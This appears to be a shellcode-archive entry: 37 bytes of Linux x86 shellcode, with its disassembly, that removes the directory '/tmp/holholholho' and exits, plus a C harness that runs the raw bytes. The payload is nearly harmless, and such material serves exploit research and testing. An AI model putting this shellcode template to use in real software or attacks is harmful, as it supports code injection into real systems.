37 lines
No EOL
1.2 KiB
C
37 lines
No EOL
1.2 KiB
C
/*
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Title: Linux x86 rmdir - 37 bytes
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Author: kw4 <kw4.nop@gmail.com>
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useful for testing purposes
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08048060 <_start>:
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8048060: 31 c0 xor %eax,%eax
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8048062: 50 push %eax
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8048063: 68 6f 6c 68 6f push $0x6f686c6f
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8048068: 68 68 6f 6c 68 push $0x686c6f68
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804806d: 68 2f 68 6f 6c push $0x6c6f682f
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8048072: 68 2f 74 6d 70 push $0x706d742f
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8048077: 89 e3 mov %esp,%ebx
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8048079: b0 28 mov $0x28,%al
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804807b: cd 80 int $0x80
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804807d: 31 c0 xor %eax,%eax
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804807f: 89 c3 mov %eax,%ebx
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8048081: b0 01 mov $0x1,%al
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8048083: cd 80 int $0x80
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x50\x68\x6f\x6c\x68\x6f\x68\x68\x6f\x6c\x68\x68\x2f\x68\x6f\x6c\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x28\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd\x80";
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main() {
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |